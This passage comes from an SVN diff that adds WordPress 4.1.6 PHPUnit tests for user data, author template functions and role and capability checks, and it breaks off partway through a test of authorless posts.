+		global $userdata;
+		wp_set_current_user(0);
+		$this->assertNull( $userdata );
+	}
+
+	function test_exists() {
+		$user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+		$user = new WP_User( $user_id );
+
+		$this->assertTrue( $user->exists() );
+
+		$user = new WP_User( 123456789 );
+
+		$this->assertFalse( $user->exists() );
+
+		$user = new WP_User( 0 );
+
+		$this->assertFalse( $user->exists() );
+	}
+
+	function test_global_authordata() {
+		global $authordata, $id;
+
+		$old_post_id = $id;
+
+		$user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+		$user = new WP_User( $user_id );
+
+		$post = array(
+			'post_author' => $user_id,
+			'post_status' => 'publish',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_type' => 'post'
+		);
+
+		// insert a post and make sure the ID is ok
+		$post_id = wp_insert_post( $post );
+		$this->assertTrue( is_numeric( $post_id ) );
+
+		setup_postdata( get_post( $post_id ) );
+
+		$this->assertNotEmpty( $authordata );
+		$this->assertInstanceOf( 'WP_User', $authordata );
+		$this->assertEquals( $authordata->ID, $user_id );
+
+		if ( $old_post_id )
+			setup_postdata( get_post( $old_post_id ) );
+	}
+
+	function test_delete_user() {
+		$user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+		$user = new WP_User( $user_id );
+
+		$post = array(
+			'post_author' => $user_id,
+			'post_status' => 'publish',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_type' => 'post',
+		);
+
+		// insert a post and make sure the ID is ok
+		$post_id = wp_insert_post($post);
+		$this->assertTrue(is_numeric($post_id));
+		$this->assertTrue($post_id > 0);
+
+		$post = get_post( $post_id );
+		$this->assertEquals( $post_id, $post->ID );
+
+		$post = array(
+			'post_author' => $user_id,
+			'post_status' => 'publish',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_type' => 'nav_menu_item',
+		);
+
+		// insert a post and make sure the ID is ok
+		$nav_id = wp_insert_post($post);
+		$this->assertTrue(is_numeric($nav_id));
+		$this->assertTrue($nav_id > 0);
+
+		$post = get_post( $nav_id );
+		$this->assertEquals( $nav_id, $post->ID );
+
+		wp_delete_user( $user_id );
+		$user = new WP_User( $user_id );
+		if ( is_multisite() )
+			$this->assertTrue( $user->exists() );
+		else
+			$this->assertFalse( $user->exists() );
+
+		$this->assertNotNull( get_post( $post_id ) );
+		$this->assertEquals( 'trash', get_post( $post_id )->post_status );
+		// nav_menu_item is delete_with_user = false so the nav post should remain published.
+		$this->assertNotNull( get_post( $nav_id ) );
+		$this->assertEquals( 'publish', get_post( $nav_id )->post_status );
+		wp_delete_post( $nav_id, true );
+		$this->assertNull( get_post( $nav_id ) );
+		wp_delete_post( $post_id, true );
+		$this->assertNull( get_post( $post_id ) );
+	}
+
+	/**
+	 * @ticket 13317
+	 */
+	function test_get_userdata() {
+		$this->assertFalse( get_userdata( 0 ) );
+		$this->assertFalse( get_userdata( '0' ) );
+		$this->assertFalse( get_userdata( 'string' ) );
+		$this->assertFalse( get_userdata( array( 'array' ) ) );
+	}
+
+	function test_user_get_data_by_id() {
+		$user_id   = $this->factory->user->create();
+
+		$user = WP_User::get_data_by( 'id', $user_id );
+		$this->assertInstanceOf( 'stdClass', $user );
+		$this->assertEquals( $user_id, $user->ID );
+
+		// @ticket 23480
+		$user = WP_User::get_data_by( 'id', -1 );
+		$this->assertEquals( false, $user );
+
+		$user = WP_User::get_data_by( 'id', 0 );
+		$this->assertEquals( false, $user );
+
+		$user = WP_User::get_data_by( 'id', null );
+		$this->assertEquals( false, $user );
+
+		$user = WP_User::get_data_by( 'id', '' );
+		$this->assertEquals( false, $user );
+
+		$user = WP_User::get_data_by( 'id', false );
+		$this->assertEquals( false, $user );
+
+		$user = WP_User::get_data_by( 'id', @$user->user_nicename );
+		$this->assertEquals( false, $user );
+
+		$user = WP_User::get_data_by( 'id', 99999 );
+		$this->assertEquals( false, $user );
+	}
+
+	/**
+	 * @ticket 20447
+	 */
+	function test_wp_delete_user_reassignment_clears_post_caches() {
+		$user_id   = $this->factory->user->create();
+		$reassign  = $this->factory->user->create();
+		$post_id   = $this->factory->post->create( array( 'post_author' => $user_id ) );
+
+		get_post( $post_id ); // Ensure this post is in the cache.
+
+		wp_delete_user( $user_id, $reassign );
+
+		$post = get_post( $post_id );
+		$this->assertEquals( $reassign, $post->post_author );
+	}
+
+	/**
+	 * @ticket 21431
+	 */
+	function test_count_many_users_posts() {
+		$user_id_a = $this->factory->user->create( array( 'role' => 'author' ) );
+		$user_id_b = $this->factory->user->create( array( 'role' => 'author' ) );
+		$post_id_a = $this->factory->post->create( array( 'post_author' => $user_id_a ) );
+		$post_id_b = $this->factory->post->create( array( 'post_author' => $user_id_b ) );
+		$post_id_c = $this->factory->post->create( array( 'post_author' => $user_id_b, 'post_status' => 'private' ) );
+
+		wp_set_current_user( $user_id_a );
+		$counts = count_many_users_posts( array( $user_id_a, $user_id_b), 'post', false );
+		$this->assertEquals( 1, $counts[$user_id_a] );
+		$this->assertEquals( 1, $counts[$user_id_b] );
+
+		$counts = count_many_users_posts( array( $user_id_a, $user_id_b), 'post', true );
+		$this->assertEquals( 1, $counts[$user_id_a] );
+		$this->assertEquals( 1, $counts[$user_id_b] );
+
+		wp_set_current_user( $user_id_b );
+		$counts = count_many_users_posts( array( $user_id_a, $user_id_b), 'post', false );
+		$this->assertEquals( 1, $counts[$user_id_a] );
+		$this->assertEquals( 2, $counts[$user_id_b] );
+
+		$counts = count_many_users_posts( array( $user_id_a, $user_id_b), 'post', true );
+		$this->assertEquals( 1, $counts[$user_id_a] );
+		$this->assertEquals( 1, $counts[$user_id_b] );
+	}
+
+	/**
+	 * @ticket 22858
+	 */
+	function test_wp_update_user_on_nonexistent_users() {
+		$user_id = 1;
+		// Find me a non-existent user ID.
+		while ( get_userdata( $user_id ) )
+			++$user_id;
+
+		// If this test fails, it will error out for calling the to_array() method on a non-object.
+		$this->assertInstanceOf( 'WP_Error', wp_update_user( array( 'ID' => $user_id ) ) );
+	}
+
+	/**
+	 * @ticket 28315
+	 */
+	function test_user_meta_error() {
+		$id1 = wp_insert_user( array(
+			'user_login' => rand_str(),
+			'user_pass' => 'password',
+			'user_email' => 'taco@burrito.com',
+		) );
+		$this->assertEquals( $id1, email_exists( 'taco@burrito.com' ) );
+
+		$id2 = wp_insert_user( array(
+			'user_login' => rand_str(),
+			'user_pass' => 'password',
+			'user_email' => 'taco@burrito.com',
+		) );
+
+		if ( ! defined( 'WP_IMPORTING' ) ) {
+			$this->assertWPError( $id2 );
+		}
+
+		@update_user_meta( $id2, 'key', 'value' );
+
+		$metas = array_keys( get_user_meta( 1 ) );
+		$this->assertNotContains( 'key', $metas );
+	}
+
+	/**
+	 * @ticket 29696
+	 */
+	public function test_wp_insert_user_should_sanitize_user_nicename_parameter() {
+		$user = $this->factory->user->create_and_get();
+
+		$userdata = $user->to_array();
+		$userdata['user_nicename'] = str_replace( '-', '.', $user->user_nicename );
+		wp_insert_user( $userdata );
+
+		$updated_user = new WP_User( $user->ID );
+
+		$this->assertSame( $user->user_nicename, $updated_user->user_nicename );
+	}
+
+	function test_changing_email_invalidates_password_reset_key() {
+		global $wpdb;
+
+		$user = $this->factory->user->create_and_get();
+		$wpdb->update( $wpdb->users, array( 'user_activation_key' => 'key' ), array( 'ID' => $user->ID ) );
+		clean_user_cache( $user );
+
+		$user = get_userdata( $user->ID );
+		$this->assertEquals( 'key', $user->user_activation_key );
+
+		// Check that changing something other than the email doesn't remove the key.
+		$userdata = array(
+			'ID'            => $user->ID,
+			'user_nicename' => 'wat',
+		);
+		wp_update_user( $userdata );
+
+		$user = get_userdata( $user->ID );
+		$this->assertEquals( 'key', $user->user_activation_key );
+
+		// Now check that changing the email does remove it.
+		$userdata = array(
+			'ID'            => $user->ID,
+			'user_nicename' => 'cat',
+			'user_email'    => 'foo@bar.dev',
+		);
+		wp_update_user( $userdata );
+
+		$user = get_userdata( $user->ID );
+		$this->assertEmpty( $user->user_activation_key );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/user/author.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/user/author.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/user/author.php	(revision 33402)
@@ -0,0 +1,85 @@
+<?php
+
+/**
+ * Test functions in wp-includes/author.php, author-template.php
+ *
+ * @group author
+ * @group user
+ */
+class Tests_User_Author extends WP_UnitTestCase {
+	protected $old_post_id = 0;
+	protected $author_id = 0;
+	protected $post_id = 0;
+
+	function setUp() {
+		parent::setUp();
+
+		$this->author_id = $this->factory->user->create( array(
+			'role' => 'author',
+			'user_login' => 'test_author',
+			'description' => 'test_author',
+		) );
+		$user = new WP_User( $this->author_id );
+
+		$post = array(
+			'post_author' => $this->author_id,
+			'post_status' => 'publish',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_type' => 'post'
+		);
+
+		// insert a post and make sure the ID is ok
+		$this->post_id = $this->factory->post->create( $post );
+
+		setup_postdata( get_post( $this->post_id ) );
+	}
+
+	function tearDown() {
+		wp_reset_postdata();
+		parent::tearDown();
+	}
+
+	function test_get_the_author() {
+		$author_name = get_the_author();
+		$user = new WP_User( $this->author_id );
+
+		$this->assertEquals( $user->display_name, $author_name );
+		$this->assertEquals( 'test_author', $author_name );
+	}
+
+	function test_get_the_author_meta() {
+		$this->assertEquals( 'test_author', get_the_author_meta( 'login' ) );
+		$this->assertEquals( 'test_author', get_the_author_meta( 'user_login' ) );
+		$this->assertEquals( 'test_author', get_the_author_meta( 'display_name' ) );
+
+		$this->assertEquals( 'test_author', get_the_author_meta( 'description' ) );
+		$this->assertEquals( 'test_author', get_the_author_meta( 'user_description' ) );
+		add_user_meta( $this->author_id, 'user_description', 'user description' );
+		$this->assertEquals( 'user description', get_user_meta( $this->author_id, 'user_description', true ) );
+		// user_description in meta is ignored. The content of description is returned instead.
+		// See #20285
+		$this->assertEquals( 'test_author', get_the_author_meta( 'user_description' ) );
+		$this->assertEquals( 'test_author', get_the_author_meta( 'description' ) );
+		update_user_meta( $this->author_id, 'user_description', '' );
+		$this->assertEquals( '', get_user_meta( $this->author_id, 'user_description', true ) );
+		$this->assertEquals( 'test_author', get_the_author_meta( 'user_description' ) );
+		$this->assertEquals( 'test_author', get_the_author_meta( 'description' ) );
+
+		$this->assertEquals( '', get_the_author_meta( 'does_not_exist' ) );
+	}
+
+	function test_get_the_author_meta_no_authordata() {
+		unset( $GLOBALS['authordata'] );
+		$this->assertEquals( '', get_the_author_meta( 'id' ) );
+		$this->assertEquals( '', get_the_author_meta( 'user_login' ) );
+		$this->assertEquals( '', get_the_author_meta( 'does_not_exist' ) );
+	}
+
+	function test_get_the_author_posts() {
+		// Test with no global post, result should be 0 because no author is found
+		$this->assertEquals( 0, get_the_author_posts() );
+		$GLOBALS['post'] = $this->post_id;
+		$this->assertEquals( 1, get_the_author_posts() );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/user/capabilities.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/user/capabilities.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/user/capabilities.php	(revision 33402)
@@ -0,0 +1,738 @@
+<?php
+
+// Test roles and capabilities via the WP_User class
+
+/**
+ * @group user
+ * @group capabilities
+ */
+class Tests_User_Capabilities extends WP_UnitTestCase {
+	protected $user_ids = array();
+
+	function setUp() {
+		parent::setUp();
+		// keep track of users we create
+		$this->_flush_roles();
+
+		$this->orig_users = get_users();
+	}
+
+	function _flush_roles() {
+		// we want to make sure we're testing against the db, not just in-memory data
+		// this will flush everything and reload it from the db
+		unset($GLOBALS['wp_user_roles']);
+		global $wp_roles;
+		if ( is_object( $wp_roles ) )
+			$wp_roles->_init();
+	}
+
+	function _meta_yes_you_can( $can, $key, $post_id, $user_id, $cap, $caps ) {
+		return true;
+	}
+
+	function _meta_no_you_cant( $can, $key, $post_id, $user_id, $cap, $caps ) {
+		return false;
+	}
+
+	function _meta_filter( $meta_value, $meta_key, $meta_type ) {
+		return $meta_value;
+	}
+
+	// test the default roles
+
+	function test_user_administrator() {
+		$id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+		$user = new WP_User($id);
+		$this->assertTrue($user->exists(), "Problem getting user $id");
+
+		// make sure the role name is correct
+		$this->assertEquals(array('administrator'), $user->roles);
+
+		// check a few of the main capabilities
+		$this->assertTrue($user->has_cap('switch_themes'));
+		$this->assertTrue($user->has_cap('list_users'));
+		$this->assertTrue($user->has_cap('manage_options'));
+		$this->assertTrue($user->has_cap('level_10'));
+	}
+
+	function test_user_editor() {
+		$id = $this->factory->user->create( array( 'role' => 'editor' ) );
+		$user = new WP_User($id);
+		$this->assertTrue($user->exists(), "Problem getting user $id");
+
+		// make sure the role name is correct
+		$this->assertEquals(array('editor'), $user->roles);
+
+		// check a few of the main capabilities
+		$this->assertTrue($user->has_cap('moderate_comments'));
+		$this->assertTrue($user->has_cap('manage_categories'));
+		$this->assertTrue($user->has_cap('upload_files'));
+		$this->assertTrue($user->has_cap('level_7'));
+
+		// and a few capabilities this user doesn't have
+		$this->assertFalse($user->has_cap('switch_themes'));
+		$this->assertFalse($user->has_cap('edit_users'));
+		$this->assertFalse($user->has_cap('level_8'));
+	}
+
+	function test_user_author() {
+		$id = $this->factory->user->create( array( 'role' => 'author' ) );
+		$user = new WP_User($id);
+		$this->assertTrue($user->exists(), "Problem getting user $id");
+
+		// make sure the role name is correct
+		$this->assertEquals(array('author'), $user->roles);
+
+		// check a few of the main capabilities
+		$this->assertTrue($user->has_cap('edit_posts'));
+		$this->assertTrue($user->has_cap('edit_published_posts'));
+		$this->assertTrue($user->has_cap('upload_files'));
+		$this->assertTrue($user->has_cap('level_2'));
+
+		// and a few capabilities this user doesn't have
+		$this->assertFalse($user->has_cap('moderate_comments'));
+		$this->assertFalse($user->has_cap('manage_categories'));
+		$this->assertFalse($user->has_cap('level_3'));
+	}
+
+	function test_user_contributor() {
+		$id = $this->factory->user->create( array( 'role' => 'contributor' ) );
+		$user = new WP_User($id);
+		$this->assertTrue($user->exists(), "Problem getting user $id");
+
+		// make sure the role name is correct
+		$this->assertEquals(array('contributor'), $user->roles);
+
+		// check a few of the main capabilities
+		$this->assertTrue($user->has_cap('edit_posts'));
+		$this->assertTrue($user->has_cap('read'));
+		$this->assertTrue($user->has_cap('level_1'));
+		$this->assertTrue($user->has_cap('level_0'));
+
+		// and a few capabilities this user doesn't have
+		$this->assertFalse($user->has_cap('upload_files'));
+		$this->assertFalse($user->has_cap('edit_published_posts'));
+		$this->assertFalse($user->has_cap('level_2'));
+	}
+
+	function test_user_subscriber() {
+		$id = $this->factory->user->create( array( 'role' => 'subscriber' ) );
+		$user = new WP_User($id);
+		$this->assertTrue($user->exists(), "Problem getting user $id");
+
+		// make sure the role name is correct
+		$this->assertEquals(array('subscriber'), $user->roles);
+
+		// check a few of the main capabilities
+		$this->assertTrue($user->has_cap('read'));
+		$this->assertTrue($user->has_cap('level_0'));
+
+		// and a few capabilities this user doesn't have
+		$this->assertFalse($user->has_cap('upload_files'));
+		$this->assertFalse($user->has_cap('edit_posts'));
+		$this->assertFalse($user->has_cap('level_1'));
+	}
+
+	// a role that doesn't exist
+	function test_bogus_role() {
+		_disable_wp_die();
+		$id = $this->factory->user->create( array( 'role' => rand_str() ) );
+		$user = new WP_User($id);
+		$this->assertTrue($user->exists(), "Problem getting user $id");
+
+		// user has no role and no capabilities
+		$this->assertEquals(array(), $user->roles);
+		$this->assertFalse($user->has_cap('level_0'));
+		_enable_wp_die();
+	}
+
+	// a user with multiple roles
+	function test_user_subscriber_contributor() {
+		$id = $this->factory->user->create( array( 'role' => 'subscriber' ) );
+		$user = new WP_User($id);
+		$this->assertTrue($user->exists(), "Problem getting user $id");
+		$user->add_role('contributor');
+
+		// nuke and re-fetch the object to make sure it was stored
+		$user = NULL;
+		$user = new WP_User($id);
+		$this->assertTrue($user->exists(), "Problem getting user $id");
+
+		// user should have two roles now
+		$this->assertEquals(array('subscriber', 'contributor'), $user->roles);
+
+		// with contributor capabilities
+		$this->assertTrue($user->has_cap('edit_posts'));
+		$this->assertTrue($user->has_cap('read'));
+		$this->assertTrue($user->has_cap('level_1'));
+		$this->assertTrue($user->has_cap('level_0'));
+
+		// but not these
+		$this->assertFalse($user->has_cap('upload_files'));
+		$this->assertFalse($user->has_cap('edit_published_posts'));
+		$this->assertFalse($user->has_cap('level_2'));
+	}
+
+	function test_add_empty_role() {
+		// add_role($role, $display_name, $capabilities = '')
+		// randomly named role with no capabilities
+		global $wp_roles;
+		$role_name = rand_str();
+		add_role($role_name, 'Janitor', array());
+		$this->_flush_roles();
+		$this->assertTrue($wp_roles->is_role($role_name));
+
+		$id = $this->factory->user->create( array( 'role' => $role_name ) );
+
+		$user = new WP_User($id);
+		$this->assertTrue($user->exists(), "Problem getting user $id");
+
+		$this->assertEquals(array($role_name), $user->roles);
+
+		// user shouldn't have any capabilities; test a quick sample
+		$this->assertFalse($user->has_cap('upload_files'));
+		$this->assertFalse($user->has_cap('edit_published_posts'));
+		$this->assertFalse($user->has_cap('level_1'));
+		$this->assertFalse($user->has_cap('level_0'));
+
+		// clean up
+		remove_role($role_name);
+		$this->_flush_roles();
+		$this->assertFalse($wp_roles->is_role($role_name));
+	}
+
+
+	function test_add_role() {
+		// add_role($role, $display_name, $capabilities = '')
+		// randomly named role with a few capabilities
+		global $wp_roles;
+		$role_name = rand_str();
+		add_role($role_name, 'Janitor', array('edit_posts'=>true, 'edit_pages'=>true, 'level_0'=>true, 'level_1'=>true, 'level_2'=>true));
+		$this->_flush_roles();
+		$this->assertTrue($wp_roles->is_role($role_name));
+
+		$id = $this->factory->user->create( array( 'role' => $role_name ) );
+
+		$user = new WP_User($id);
+		$this->assertTrue($user->exists(), "Problem getting user $id");
+
+		$this->assertEquals(array($role_name), $user->roles);
+
+		// the user should have all the above caps
+		$this->assertTrue($user->has_cap($role_name));
+		$this->assertTrue($user->has_cap('edit_posts'));
+		$this->assertTrue($user->has_cap('edit_pages'));
+		$this->assertTrue($user->has_cap('level_0'));
+		$this->assertTrue($user->has_cap('level_1'));
+		$this->assertTrue($user->has_cap('level_2'));
+
+		// shouldn't have any other caps
+		$this->assertFalse($user->has_cap('upload_files'));
+		$this->assertFalse($user->has_cap('edit_published_posts'));
+		$this->assertFalse($user->has_cap('upload_files'));
+		$this->assertFalse($user->has_cap('level_3'));
+
+		// clean up
+		remove_role($role_name);
+		$this->_flush_roles();
+		$this->assertFalse($wp_roles->is_role($role_name));
+	}
+
+	function test_role_add_cap() {
+		// change the capabilites associated with a role and make sure the change is reflected in has_cap()
+
+		global $wp_roles;
+		$role_name = rand_str();
+		add_role( $role_name, 'Janitor', array('level_1'=>true) );
+		$this->_flush_roles();
+		$this->assertTrue( $wp_roles->is_role($role_name) );
+
+		// assign a user to that role
+		$id = $this->factory->user->create( array( 'role' => $role_name ) );
+
+		// now add a cap to the role
+		$wp_roles->add_cap($role_name, 'sweep_floor');
+		$this->_flush_roles();
+
+		$user = new WP_User($id);
+		$this->assertTrue($user->exists(), "Problem getting user $id");
+		$this->assertEquals(array($role_name), $user->roles);
+
+		// the user should have all the above caps
+		$this->assertTrue($user->has_cap($role_name));
+		$this->assertTrue($user->has_cap('level_1'));
+		$this->assertTrue($user->has_cap('sweep_floor'));
+
+		// shouldn't have any other caps
+		$this->assertFalse($user->has_cap('upload_files'));
+		$this->assertFalse($user->has_cap('edit_published_posts'));
+		$this->assertFalse($user->has_cap('upload_files'));
+		$this->assertFalse($user->has_cap('level_4'));
+
+		// clean up
+		remove_role($role_name);
+		$this->_flush_roles();
+		$this->assertFalse($wp_roles->is_role($role_name));
+
+	}
+
+	function test_role_remove_cap() {
+		// change the capabilites associated with a role and make sure the change is reflected in has_cap()
+
+		global $wp_roles;
+		$role_name = rand_str();
+		add_role( $role_name, 'Janitor', array('level_1'=>true, 'sweep_floor'=>true, 'polish_doorknobs'=>true) );
+		$this->_flush_roles();
+		$this->assertTrue( $wp_roles->is_role($role_name) );
+
+		// assign a user to that role
+		$id = $this->factory->user->create( array( 'role' => $role_name ) );
+
+		// now remove a cap from the role
+		$wp_roles->remove_cap($role_name, 'polish_doorknobs');
+		$this->_flush_roles();
+
+		$user = new WP_User($id);
+		$this->assertTrue($user->exists(), "Problem getting user $id");
+		$this->assertEquals(array($role_name), $user->roles);
+
+		// the user should have all the above caps
+		$this->assertTrue($user->has_cap($role_name));
+		$this->assertTrue($user->has_cap('level_1'));
+		$this->assertTrue($user->has_cap('sweep_floor'));
+
+		// shouldn't have the removed cap
+		$this->assertFalse($user->has_cap('polish_doorknobs'));
+
+		// clean up
+		remove_role($role_name);
+		$this->_flush_roles();
+		$this->assertFalse($wp_roles->is_role($role_name));
+
+	}
+
+	function test_user_add_cap() {
+		// add an extra capability to a user
+
+		// there are two contributors
+		$id_1 = $this->factory->user->create( array( 'role' => 'contributor' ) );
+		$id_2 = $this->factory->user->create( array( 'role' => 'contributor' ) );
+
+		// user 1 has an extra capability
+		$user_1 = new WP_User($id_1);
+		$this->assertTrue($user_1->exists(), "Problem getting user $id_1");
+		$user_1->add_cap('publish_posts');
+
+		// re-fetch both users from the db
+		$user_1 = new WP_User($id_1);
+		$this->assertTrue($user_1->exists(), "Problem getting user $id_1");
+		$user_2 = new WP_User($id_2);
+		$this->assertTrue($user_2->exists(), "Problem getting user $id_2");
+
+		// make sure they're both still contributors
+		$this->assertEquals(array('contributor'), $user_1->roles);
+		$this->assertEquals(array('contributor'), $user_2->roles);
+
+		// check the extra cap on both users
+		$this->assertTrue($user_1->has_cap('publish_posts'));
+		$this->assertFalse($user_2->has_cap('publish_posts'));
+
+		// make sure the other caps didn't get messed up
+		$this->assertTrue($user_1->has_cap('edit_posts'));
+		$this->assertTrue($user_1->has_cap('read'));
+		$this->assertTrue($user_1->has_cap('level_1'));
+		$this->assertTrue($user_1->has_cap('level_0'));
+		$this->assertFalse($user_1->has_cap('upload_files'));
+		$this->assertFalse($user_1->has_cap('edit_published_posts'));
+		$this->assertFalse($user_1->has_cap('level_2'));
+
+	}
+
+	function test_user_remove_cap() {
+		// add an extra capability to a user then remove it
+
+		// there are two contributors
+		$id_1 = $this->factory->user->create( array( 'role' => 'contributor' ) );
+		$id_2 = $this->factory->user->create( array( 'role' => 'contributor' ) );
+
+		// user 1 has an extra capability
+		$user_1 = new WP_User($id_1);
+		$this->assertTrue($user_1->exists(), "Problem getting user $id_1");
+		$user_1->add_cap('publish_posts');
+
+		// now remove the extra cap
+		$user_1->remove_cap('publish_posts');
+
+		// re-fetch both users from the db
+		$user_1 = new WP_User($id_1);
+		$this->assertTrue($user_1->exists(), "Problem getting user $id_1");
+		$user_2 = new WP_User($id_2);
+		$this->assertTrue($user_2->exists(), "Problem getting user $id_2");
+
+		// make sure they're both still contributors
+		$this->assertEquals(array('contributor'), $user_1->roles);
+		$this->assertEquals(array('contributor'), $user_2->roles);
+
+		// check the removed cap on both users
+		$this->assertFalse($user_1->has_cap('publish_posts'));
+		$this->assertFalse($user_2->has_cap('publish_posts'));
+
+	}
+
+	function test_user_level_update() {
+		// make sure the user_level is correctly set and changed with the user's role
+
+		// user starts as an author
+		$id = $this->factory->user->create( array( 'role' => 'author' ) );
+		$user = new WP_User($id);
+		$this->assertTrue($user->exists(), "Problem getting user $id");
+
+		// author = user level 2
+		$this->assertEquals( 2, $user->user_level );
+
+		// they get promoted to editor - level should get bumped to 7
+		$user->set_role('editor');
+		$this->assertEquals( 7, $user->user_level );
+
+		// demoted to contributor - level is reduced to 1
+		$user->set_role('contributor');
+		$this->assertEquals( 1, $user->user_level );
+
+		// if they have two roles, user_level should be the max of the two
+		$user->add_role('editor');
+		$this->assertEquals(array('contributor', 'editor'), $user->roles);
+		$this->assertEquals( 7, $user->user_level );
+	}
+
+	function test_user_remove_all_caps() {
+		// user starts as an author
+		$id = $this->factory->user->create( array( 'role' => 'author' ) );
+		$user = new WP_User($id);
+		$this->assertTrue($user->exists(), "Problem getting user $id");
+
+		// add some extra capabilities
+		$user->add_cap('make_coffee');
+		$user->add_cap('drink_coffee');
+
+		// re-fetch
+		$user = new WP_User($id);
+		$this->assertTrue($user->exists(), "Problem getting user $id");
+
+		$this->assertTrue($user->has_cap('make_coffee'));
+		$this->assertTrue($user->has_cap('drink_coffee'));
+
+		// all caps are removed
+		$user->remove_all_caps();
+
+		// re-fetch
+		$user = new WP_User($id);
+		$this->assertTrue($user->exists(), "Problem getting user $id");
+
+		// capabilities for the author role should be gone
+#		$this->assertFalse($user->has_cap('edit_posts'));
+#		$this->assertFalse($user->has_cap('edit_published_posts'));
+#		$this->assertFalse($user->has_cap('upload_files'));
+#		$this->assertFalse($user->has_cap('level_2'));
+
+		// the extra capabilities should be gone
+		$this->assertFalse($user->has_cap('make_coffee'));
+		$this->assertFalse($user->has_cap('drink_coffee'));
+
+		// user level should be empty
+		$this->assertEmpty( $user->user_level );
+
+
+	}
+
+	function test_post_meta_caps() {
+		// simple tests for some common meta capabilities
+
+		// Make our author
+		$author = new WP_User( $this->factory->user->create( array( 'role' => 'author' ) ) );
+
+		// make a post
+		$post = $this->factory->post->create( array( 'post_author' => $author->ID, 'post_type' => 'post' ) );
+
+		// the author of the post
+		$this->assertTrue($author->exists(), "Problem getting user $author->ID");
+
+		// add some other users
+		$admin = new WP_User( $this->factory->user->create( array( 'role' => 'administrator' ) ) );
+		$author_2 = new WP_User( $this->factory->user->create( array( 'role' => 'author' ) ) );
+		$editor = new WP_User( $this->factory->user->create( array( 'role' => 'editor' ) ) );
+		$contributor = new WP_User( $this->factory->user->create( array( 'role' => 'contributor' ) ) );
+
+		// administrators, editors and the post owner can edit it
+		$this->assertTrue($admin->has_cap('edit_post', $post));
+		$this->assertTrue($author->has_cap('edit_post', $post));
+		$this->assertTrue($editor->has_cap('edit_post', $post));
+		// other authors and contributors can't
+		$this->assertFalse($author_2->has_cap('edit_post', $post));
+		$this->assertFalse($contributor->has_cap('edit_post', $post));
+
+		// administrators, editors and the post owner can delete it
+		$this->assertTrue($admin->has_cap('delete_post', $post));
+		$this->assertTrue($author->has_cap('delete_post', $post));
+		$this->assertTrue($editor->has_cap('delete_post', $post));
+		// other authors and contributors can't
+		$this->assertFalse($author_2->has_cap('delete_post', $post));
+		$this->assertFalse($contributor->has_cap('delete_post', $post));
+
+		// administrators, editors, and authors can publish it
+		$this->assertTrue($admin->has_cap('publish_post', $post));
+		$this->assertTrue($author->has_cap('publish_post', $post));
+		$this->assertTrue($editor->has_cap('publish_post', $post));
+		$this->assertTrue($author_2->has_cap('publish_post', $post));
+		// contributors can't
+		$this->assertFalse($contributor->has_cap('publish_post', $post));
+
+		register_post_type( 'something', array( 'capabilities' => array( 'edit_posts' => 'draw_somethings' ) ) );
+		$something = get_post_type_object( 'something' );
+		$this->assertEquals( 'draw_somethings', $something->cap->edit_posts );
+		$this->assertEquals( 'draw_somethings', $something->cap->create_posts );
+
+		register_post_type( 'something', array( 'capabilities' =>
+						array( 'edit_posts' => 'draw_somethings', 'create_posts' => 'create_somethings' ) ) );
+		$something = get_post_type_object( 'something' );
+		$this->assertEquals( 'draw_somethings', $something->cap->edit_posts );
+		$this->assertEquals( 'create_somethings', $something->cap->create_posts );
+		_unregister_post_type( 'something' );
+
+		// Test meta authorization callbacks
+		if ( function_exists( 'register_meta') ) {
+			$this->assertTrue( $admin->has_cap('edit_post_meta',  $post) );
+			$this->assertTrue( $admin->has_cap('add_post_meta',  $post) );
+			$this->assertTrue( $admin->has_cap('delete_post_meta',  $post) );
+
+			$this->assertFalse( $admin->has_cap('edit_post_meta', $post, '_protected') );
+			$this->assertFalse( $admin->has_cap('add_post_meta', $post, '_protected') );
+			$this->assertFalse( $admin->has_cap('delete_post_meta', $post, '_protected') );
+
+			register_meta( 'post', '_protected', array( $this, '_meta_filter' ), array( $this, '_meta_yes_you_can' ) );
+			$this->assertTrue( $admin->has_cap('edit_post_meta',  $post, '_protected') );
+			$this->assertTrue( $admin->has_cap('add_post_meta',  $post, '_protected') );
+			$this->assertTrue( $admin->has_cap('delete_post_meta',  $post, '_protected') );
+
+			$this->assertTrue( $admin->has_cap('edit_post_meta', $post, 'not_protected') );
+			$this->assertTrue( $admin->has_cap('add_post_meta', $post, 'not_protected') );
+			$this->assertTrue( $admin->has_cap('delete_post_meta', $post, 'not_protected') );
+
+			register_meta( 'post', 'not_protected', array( $this, '_meta_filter' ), array( $this, '_meta_no_you_cant' ) );
+			$this->assertFalse( $admin->has_cap('edit_post_meta',  $post, 'not_protected') );
+			$this->assertFalse( $admin->has_cap('add_post_meta',  $post, 'not_protected') );
+			$this->assertFalse( $admin->has_cap('delete_post_meta',  $post, 'not_protected') );
+		}
+	}
+
+	function authorless_post_statuses() {
+		return array( array( 'draft' ), array( 'private' ), array( 'publish' ) );
+	}
+
+	/**
+	 * @ticket 27020
+	 * @dataProvider authorless_post_statuses
+	 */
+	function test_authorless_post( $status ) {
+		// Make a post without an author
+		$post = $this->factory->post->create( array( 'post_author' => 0, 'post_type' => 'post', 'post_status' => $status ) );
+
+		// Add an editor and contributor
+		$editor = $this->factory->user->create_and_get( array( 'role' => 'editor' ) );
+		$contributor = $this->factory->user->create_and_get( array( 'role' => 'contributor' ) );
+
+		// editor can edit, view, and trash
+		$this->assertTrue( $editor->has_cap( 'edit_post', $post ) );
+		$this->assertTrue( $editor->has_cap( 'delete_post', $post ) );
+		$this->assertTrue( $editor->has_cap( 'read_post', $post ) );
+
+		// a contributor cannot (except read a published post)
+		$this->assertFalse( $contributor->has_cap( 'edit_post', $post ) );
+		$this->assertFalse( $contributor->has_cap( 'delete_post', $post ) );
